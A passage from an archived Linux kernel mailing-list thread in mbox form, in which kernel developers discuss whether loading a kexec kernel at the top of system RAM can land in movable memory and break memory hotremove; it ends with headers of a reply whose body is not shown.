> Allocating intermediate pages from other nodes doesn't really help.

OK, I forgot the 2nd kernel which kexec jump into. It won't impact hotremove
in 1st kernel, it does impact the kernel which kexec jump into if kernel
is at top of system RAM and the top RAM is in movable node.

> 
> The memblock code warns exactly for that reason.
> -- 
> Michal Hocko
> SUSE Labs

From - Thu Nov 08 21:41:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michal Hocko <mhocko-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel.kexec,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v7 4/4] kexec_file: Load kernel at top of system RAM if
 required
Date: Thu, 26 Jul 2018 15:12:43 +0200
Lines: 50
Approved: news@gmane.org
Message-ID: <20180726131242.GI28386@dhcp22.suse.cz>
References: <20180718024944.577-1-bhe@redhat.com>
 <20180718024944.577-5-bhe@redhat.com>
 <20180718153326.b795e9ea7835432a56cd7011@linux-foundation.org>
 <20180719151753.GB7147@localhost.localdomain>
 <20180723143443.GD18181@dhcp22.suse.cz>
 <20180725064813.GI6480@MiWiFi-R3L-srv>
 <20180726125957.GH28386@dhcp22.suse.cz>
 <20180726130904.GL6480@MiWiFi-R3L-srv>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1532610646 22594 195.159.176.226 (26 Jul 2018 13:10:46 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 26 Jul 2018 13:10:46 +0000 (UTC)
User-Agent: Mutt/1.10.0 (2018-05-17)
Cc: nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org, brijesh.singh-5C7GfCeVMHo@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 airlied-cv59FeDIM0c@public.gmane.org, linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org, kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org, sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org, patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org,
 bp-l3A5Bk7waGM@public.gmane.org, dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, thomas.lendacky-5C7GfCeVMHo@public.gmane.org, haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org, josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org, jglisse-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
 robh+dt-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, seanpaul-F7+t8E8rja9g9hUCZPvPmw@public.gmane.org, bhelgaas-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org,
 tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org, yinghai-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, jonathan.derrick-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org,
 chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org, monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org, dmitry.torokhov-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 kexec-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-kernel@vger
To: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Thu Jul 26 15:10:38 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1fig2P-0005hS-36
	for gln-linux-nvdimm@m.gmane.org; Thu, 26 Jul 2018 15:10:37 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id ADB81210C2829;
	Thu, 26 Jul 2018 06:12:47 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Softfail (domain owner discourages use of this host)
 identity=mailfrom; client-ip=195.135.220.15; helo=mx1.suse.de;
 envelope-from=mhocko-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org; receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mx1.suse.de (mx2.suse.de [195.135.220.15])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id 177DD210BFF5D
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Thu, 26 Jul 2018 06:12:45 -0700 (PDT)
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (unknown [195.135.220.254])
 by mx1.suse.de (Postfix) with ESMTP id E817CAFB9;
 Thu, 26 Jul 2018 13:12:43 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20180726130904.GL6480@MiWiFi-R3L-srv>
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.27
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:11178 gmane.linux.drivers.devicetree:281558 gmane.linux.kernel.pci:74237 gmane.linux.kernel.input:62130 gmane.linux.ports.parisc:28817 gmane.linux.kernel.kexec:21291 gmane.linux.kernel:2831396 gmane.linux.ports.ppc64.devel:160445
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/11178>

On Thu 26-07-18 21:09:04, Baoquan He wrote:
> On 07/26/18 at 02:59pm, Michal Hocko wrote:
> > On Wed 25-07-18 14:48:13, Baoquan He wrote:
> > > On 07/23/18 at 04:34pm, Michal Hocko wrote:
> > > > On Thu 19-07-18 23:17:53, Baoquan He wrote:
> > > > > Kexec has been a formal feature in our distro, and customers owning
> > > > > those kind of very large machine can make use of this feature to speed
> > > > > up the reboot process. On uefi machine, the kexec_file loading will
> > > > > search place to put kernel under 4G from top to down. As we know, the
> > > > > 1st 4G space is DMA32 ZONE, dma, pci mmcfg, bios etc all try to consume
> > > > > it. It may have possibility to not be able to find a usable space for
> > > > > kernel/initrd. From the top down of the whole memory space, we don't
> > > > > have this worry. 
> > > > 
> > > > I do not have the full context here but let me note that you should be
> > > > careful when doing top-down reservation because you can easily get into
> > > > hotplugable memory and break the hotremove usecase. We even warn when
> > > > this is done. See memblock_find_in_range_node
> > > 
> > > Kexec read kernel/initrd file into buffer, just search usable positions
> > > for them to do the later copying. You can see below struct kexec_segment, 
> > > for the old kexec_load, kernel/initrd are read into user space buffer,
> > > the @buf stores the user space buffer address, @mem stores the position
> > > where kernel/initrd will be put. In kernel, it calls
> > > kimage_load_normal_segment() to copy user space buffer to intermediate
> > > pages which are allocated with flag GFP_KERNEL. These intermediate pages
> > > are recorded as entries, later when user execute "kexec -e" to trigger
> > > kexec jumping, it will do the final copying from the intermediate pages
> > > to the real destination pages which @mem pointed. Because we can't touch
> > > the existed data in 1st kernel when do kexec kernel loading. With my
> > > understanding, GFP_KERNEL will make those intermediate pages be
> > > allocated inside immovable area, it won't impact hotplugging. But the
> > > @mem we searched in the whole system RAM might be lost along with
> > > hotplug. Hence we need do kexec kernel again when hotplug event is
> > > detected.
> > 
> > I am not sure I am following. If @mem is placed at movable node then the
> > memory hotremove simply won't work, because we are seeing reserved pages
> > and do not know what to do about them. They are not migrateable.
> > Allocating intermediate pages from other nodes doesn't really help.
> 
> OK, I forgot the 2nd kernel which kexec jump into. It won't impact hotremove
> in 1st kernel, it does impact the kernel which kexec jump into if kernel
> is at top of system RAM and the top RAM is in movable node.

It will affect the 1st kernel (which does the memblock allocation
top-down) as well. For reasons mentioned above.
-- 
Michal Hocko
SUSE Labs

From - Thu Nov 08 21:41:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michal Hocko <mhocko-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel.kexec,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v7 4/4] kexec_file: Load kernel at top of system RAM if
 required
Date: Thu, 26 Jul 2018 15:14:20 +0200
Lines: 55
Approved: news@gmane.org
Message-ID: <20180726131420.GJ28386@dhcp22.suse.cz>
References: <20180718024944.577-1-bhe@redhat.com>
 <20180718024944.577-5-bhe@redhat.com>
 <20180718153326.b795e9ea7835432a56cd7011@linux-foundation.org>
 <20180719151753.GB7147@localhost.localdomain>
 <20180723143443.GD18181@dhcp22.suse.cz>
 <20180725064813.GI6480@MiWiFi-R3L-srv>
 <20180726125957.GH28386@dhcp22.suse.cz>
 <20180726130904.GL6480@MiWiFi-R3L-srv>
 <20180726131242.GI28386@dhcp22.suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1532610744 29190 195.159.176.226 (26 Jul 2018 13:12:24 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 26 Jul 2018 13:12:24 +0000 (UTC)
User-Agent: Mutt/1.10.0 (2018-05-17)
Cc: nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org, brijesh.singh-5C7GfCeVMHo@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 airlied-cv59FeDIM0c@public.gmane.org, linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org, kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org, sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org, patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org,
 bp-l3A5Bk7waGM@public.gmane.org, dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, thomas.lendacky-5C7GfCeVMHo@public.gmane.org, haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org, josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org, jglisse-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
 robh+dt-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, seanpaul-F7+t8E8rja9g9hUCZPvPmw@public.gmane.org, bhelgaas-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org,
 tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org, yinghai-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, jonathan.derrick-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org,
 chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org, monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org, dmitry.torokhov-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 kexec-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-kernel@vger
To: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Thu Jul 26 15:12:15 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1fig3x-0007NU-7B
	for gln-linux-nvdimm@m.gmane.org; Thu, 26 Jul 2018 15:12:13 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id DB7E8210C2829;
	Thu, 26 Jul 2018 06:14:23 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Softfail (domain owner discourages use of this host)
 identity=mailfrom; client-ip=195.135.220.15; helo=mx1.suse.de;
 envelope-from=mhocko-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org; receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mx1.suse.de (mx2.suse.de [195.135.220.15])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id 54B90210BFF5D
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Thu, 26 Jul 2018 06:14:22 -0700 (PDT)
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (unknown [195.135.220.254])
 by mx1.suse.de (Postfix) with ESMTP id 9D435AFB7;
 Thu, 26 Jul 2018 13:14:20 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20180726131242.GI28386-2MMpYkNvuYDjFM9bn6wA6Q@public.gmane.org>
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.27
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:11179 gmane.linux.drivers.devicetree:281559 gmane.linux.kernel.pci:74238 gmane.linux.kernel.input:62131 gmane.linux.ports.parisc:28818 gmane.linux.kernel.kexec:21292 gmane.linux.kernel:2831399 gmane.linux.ports.ppc64.devel:160446
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/11179>

On Thu 26-07-18 15:12:42, Michal Hocko wrote:
> On Thu 26-07-18 21:09:04, Baoquan He wrote:
> > On 07/26/18 at 02:59pm, Michal Hocko wrote:
> > > On Wed 25-07-18 14:48:13, Baoquan He wrote:
> > > > On 07/23/18 at 04:34pm, Michal Hocko wrote:
> > > > > On Thu 19-07-18 23:17:53, Baoquan He wrote:
> > > > > > Kexec has been a formal feature in our distro, and customers owning
> > > > > > those kind of very large machine can make use of this feature to speed
> > > > > > up the reboot process. On uefi machine, the kexec_file loading will
> > > > > > search place to put kernel under 4G from top to down. As we know, the
> > > > > > 1st 4G space is DMA32 ZONE, dma, pci mmcfg, bios etc all try to consume
> > > > > > it. It may have possibility to not be able to find a usable space for
> > > > > > kernel/initrd. From the top down of the whole memory space, we don't
> > > > > > have this worry. 
> > > > > 
> > > > > I do not have the full context here but let me note that you should be
> > > > > careful when doing top-down reservation because you can easily get into
> > > > > hotplugable memory and break the hotremove usecase. We even warn when
> > > > > this is done. See memblock_find_in_range_node
> > > > 
> > > > Kexec read kernel/initrd file into buffer, just search usable positions
> > > > for them to do the later copying. You can see below struct kexec_segment, 
> > > > for the old kexec_load, kernel/initrd are read into user space buffer,
> > > > the @buf stores the user space buffer address, @mem stores the position
> > > > where kernel/initrd will be put. In kernel, it calls
> > > > kimage_load_normal_segment() to copy user space buffer to intermediate
> > > > pages which are allocated with flag GFP_KERNEL. These intermediate pages
> > > > are recorded as entries, later when user execute "kexec -e" to trigger
> > > > kexec jumping, it will do the final copying from the intermediate pages
> > > > to the real destination pages which @mem pointed. Because we can't touch
> > > > the existed data in 1st kernel when do kexec kernel loading. With my
> > > > understanding, GFP_KERNEL will make those intermediate pages be
> > > > allocated inside immovable area, it won't impact hotplugging. But the
> > > > @mem we searched in the whole system RAM might be lost along with
> > > > hotplug. Hence we need do kexec kernel again when hotplug event is
> > > > detected.
> > > 
> > > I am not sure I am following. If @mem is placed at movable node then the
> > > memory hotremove simply won't work, because we are seeing reserved pages
> > > and do not know what to do about them. They are not migrateable.
> > > Allocating intermediate pages from other nodes doesn't really help.
> > 
> > OK, I forgot the 2nd kernel which kexec jump into. It won't impact hotremove
> > in 1st kernel, it does impact the kernel which kexec jump into if kernel
> > is at top of system RAM and the top RAM is in movable node.
> 
> It will affect the 1st kernel (which does the memblock allocation
> top-down) as well. For reasons mentioned above.

And btw. in the ideal world, we would restrict the memblock allocation
top-down from the non-movable nodes. But I do not think we have that
information ready at the time when the reservation is done.
-- 
Michal Hocko
SUSE Labs

From - Thu Nov 08 21:41:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel.kexec,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v7 4/4] kexec_file: Load kernel at top of system RAM if
 required
Date: Thu, 26 Jul 2018 21:37:05 +0800
Lines: 62
Approved: news@gmane.org
Message-ID: <20180726133705.GM6480@MiWiFi-R3L-srv>
References: <20180718024944.577-1-bhe@redhat.com>
 <20180718024944.577-5-bhe@redhat.com>
 <20180718153326.b795e9ea7835432a56cd7011@linux-foundation.org>
 <20180719151753.GB7147@localhost.localdomain>
 <20180723143443.GD18181@dhcp22.suse.cz>
 <20180725064813.GI6480@MiWiFi-R3L-srv>
 <20180726125957.GH28386@dhcp22.suse.cz>
 <20180726130904.GL6480@MiWiFi-R3L-srv>
 <20180726131242.GI28386@dhcp22.suse.cz>
 <20180726131420.GJ28386@dhcp22.suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1532612115 27968 195.159.176.226 (26 Jul 2018 13:35:15 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 26 Jul 2018 13:35:15 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org, brijesh.singh-5C7GfCeVMHo@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 airlied-cv59FeDIM0c@public.gmane.org, linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org, kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org, sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org, patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org,
 bp-l3A5Bk7waGM@public.gmane.org, dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, thomas.lendacky-5C7GfCeVMHo@public.gmane.org, haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org, josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org, jglisse-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
 robh+dt-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, seanpaul-F7+t8E8rja9g9hUCZPvPmw@public.gmane.org, bhelgaas-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org,
 tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org, yinghai-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, jonathan.derrick-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org,
 chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org, monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org, dmitry.torokhov-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 kexec-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-kernel@vger
To: Michal Hocko <mhocko-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Thu Jul 26 15:35:06 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1figQ3-00070L-2d
	for gln-linux-nvdimm@m.gmane.org; Thu, 26 Jul 2018 15:35:03 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id 69E50210C2829;
	Thu, 26 Jul 2018 06:37:13 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=66.187.233.73; helo=mx1.redhat.com; envelope-from=bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org;
 receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mx1.redhat.com (mx3-rdu2.redhat.com [66.187.233.73])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id 44CA8210BFF64
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Thu, 26 Jul 2018 06:37:11 -0700 (PDT)
Original-Received: from smtp.corp.redhat.com (int-mx06.intmail.prod.int.rdu2.redhat.com
 [10.11.54.6])
 (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by mx1.redhat.com (Postfix) with ESMTPS id B877881663C5;
 Thu, 26 Jul 2018 13:37:10 +0000 (UTC)
Original-Received: from localhost (ovpn-8-16.pek2.redhat.com [10.72.8.16])
 by smtp.corp.redhat.com (Postfix) with ESMTPS id 205BC2166BA3;
 Thu, 26 Jul 2018 13:37:08 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20180726131420.GJ28386-2MMpYkNvuYDjFM9bn6wA6Q@public.gmane.org>
X-Scanned-By: MIMEDefang 2.78 on 10.11.54.6
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16
 (mx1.redhat.com [10.11.55.8]); Thu, 26 Jul 2018 13:37:10 +0000 (UTC)
X-Greylist: inspected by milter-greylist-4.5.16 (mx1.redhat.com [10.11.55.8]);
 Thu, 26 Jul 2018 13:37:10 +0000 (UTC) for IP:'10.11.54.6'
 DOMAIN:'int-mx06.intmail.prod.int.rdu2.redhat.com'
 HELO:'smtp.corp.redhat.com' FROM:'bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org' RCPT:''
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.27
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:11180 gmane.linux.drivers.devicetree:281565 gmane.linux.kernel.pci:74240 gmane.linux.kernel.input:62132 gmane.linux.ports.parisc:28819 gmane.linux.kernel.kexec:21297 gmane.linux.kernel:2831422 gmane.linux.ports.ppc64.devel:160455
